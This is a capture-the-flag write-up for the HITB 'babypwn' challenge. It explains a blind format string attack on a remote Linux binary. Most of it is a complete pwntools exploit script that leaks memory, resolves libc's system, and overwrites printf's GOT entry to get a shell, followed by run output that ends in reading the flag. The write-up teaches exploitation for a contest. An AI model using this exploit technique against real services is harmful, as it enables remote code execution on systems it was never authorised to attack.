Using a format string attack on a remote server, an attacker can leverage certain data structures present in a running Linux process to ascertain key addresses to achieve remote code execution.
Challenge Description
babypwn
nc 47.75.182.113 9999
Points
256 Points
59 Solved
Solution
We are not given any files so we do not have any knowledge of the binary or the libc. However, if we play around with the binary for a bit:
$ nc 47.75.182.113 9999
AAAA
AAAA
%x.%x.%x
0.0.3f2352f0
We can see that there is a format string vulnerability. Dumping the stack a little leaks some information about the environment:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
%p.%p.%p.%p.%p.%p.
(nil).(nil).0x7f0f57a372f0.0x7f0f57d31780.0x7f0f57f58700.0x70252e70252e7025.
0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.
0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.
0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.
0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
0x2e70252e7025.0x1.0x7ffeb5c5d670.0x7f0f57f5c168.0xf0b5ff.0x1.0x40076d.
0x7ffeb5c5d64e.(nil).0x400720.0x4005a0.0x7ffeb5c5d730.0xe3982f93a6536c00.
0x400720.0x7f0f5798b830.0x1.0x7ffeb5c5d738.0x157f5aca0.0x400696.(nil).
0x4f11045f495cb601.0x4005a0.0x7ffeb5c5d730.(nil).(nil).0xb0ec6f54ebdcb601.
0xb10fabee28ccb601.(nil).(nil).(nil).0x7ffeb5c5d748.0x7f0f57f5c168.
Some important information:
- We control the 6th parameter.
- Non-PIE 64 bit binary (We see addresses such as 0x40076d)
Using this information leak primitive, we can make use of a Pwntools feature
called DynELF, which helps to resolve useful symbols such as libc functions
like system
.
Another interesting thing we need is to find the address of the PLT@GOT and GOT tables for our write targets. Please look at this blog post for more information: http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html.
Also, it should be noted that the challenge is solved similar to the following challenge in 33c3: http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr.
The final script:
from pwn import *
import pwnlib
sc = None
ENTRY_POINT = 0x4005a0
PLT_GOT = 0x601000
context.arch = 'amd64'
#context.log_level = 'debug'
@pwnlib.memleak.MemLeak
def leak(addr):
address = p64(addr)
if "\n" in address:
log.info("Newline in address, returning \\x00")
return "\x00"
payload = "%7$s.AAA" + p64(addr)
sc.sendline(payload)
log.info("Leaking: " + hex(addr))
resp = sc.recvuntil(".AAA")
ret = resp[:-4:] + "\x00"
log.info("Data: " + repr(ret))
sc.recvrepeat(0.2) # receive the rest of the string
return ret
def get_plt_got(dynamic_addr):
# https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-42444.html
# Value should be 3
current = dynamic_addr
while True:
value = leak[current:current + 2]
current += 2
current_value = u16(value)
if current_value == 3:
# skip the d_val
current += 8
ptr = leak[current:current + 8]
return u64(ptr)
# skip the entry
current += 16
def find_got_entry(target):
current = PLT_GOT
while True:
current_data = leak[current:current+8]
current_value = u64(current_data)
if current_value == target:
return current
current += 8
def main():
global sc
sc = remote("47.75.182.113", 9999)
d = DynELF(leak, ENTRY_POINT)
# dynamic = d.dynamic
# log.info("Dynamic: 0x%x" % dynamic)
printf_libc = d.lookup("printf", "libc")
log.info("printf@libc: 0x%x" % printf_libc)
system_libc = d.lookup("system", "libc")
log.info("printf@libc: 0x%x" % printf_libc)
printf_got = find_got_entry(printf_libc)
log.info("printf@got: 0x%x" % printf_got)
byte1 = system_libc & 0xff
byte2 = (system_libc & 0xffff00) >> 8
log.info("Writing bytes 0x%x and 0x%x" % (byte1, byte2))
payload = "%" + str(byte1) + "c" + "%10$hhn."
payload += "%" + str(byte2 - byte1 - 1) + "c" + "%11$hn."
payload = payload.ljust(32, "A")
payload += p64(printf_got) + p64(printf_got + 1)
sc.sendline(payload)
sc.sendline("sh\x00")
sc.interactive()
if __name__ == "__main__":
main()
Running the exploit:
python2 leakall.py
[+] Opening connection to 47.75.182.113 on port 9999: Done
[!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked.
[DEBUG] Sent 0x11 bytes:
00000000 25 37 24 73 2e 41 41 41 00 00 40 00 00 00 00 00 │%7$s│.AAA│··@·│····│
00000010 0a │·│
00000011
[*] Leaking: 0x400000
[DEBUG] Received 0xb bytes:
00000000 7f 45 4c 46 02 01 01 2e 41 41 41 │·ELF│···.│AAA│
0000000b
[*] Data: '\x7fELF\x02\x01\x01\x00'
[.] Resolving 'printf' in 'libc.so': PT_DYNAMIC header = 0x400040
...
$ ls -la /
total 56
drwxr-x--- 27 0 1000 4096 Apr 11 07:14 .
drwxr-x--- 27 0 1000 4096 Apr 11 07:14 ..
-rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout
-rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc
-rwxr-x--- 1 0 1000 655 May 16 2017 .profile
-rwxr-x--- 1 0 1000 8640 Apr 11 07:08 babypwn
drwxr-x--- 2 0 1000 4096 Apr 11 07:14 bin
drwxr-x--- 2 0 1000 4096 Apr 11 07:14 dev
-rwxr----- 1 0 1000 26 Apr 11 07:06 flag
drwxr-x--- 73 0 1000 4096 Apr 11 07:14 lib
drwxr-x--- 5 0 1000 4096 Apr 11 07:14 lib32
drwxr-x--- 2 0 1000 4096 Apr 11 07:14 lib64
$ cat /flag
HITB{Baby_Pwn_BabY_bl1nd}
Flag: HITB{Baby_Pwn_BabY_bl1nd}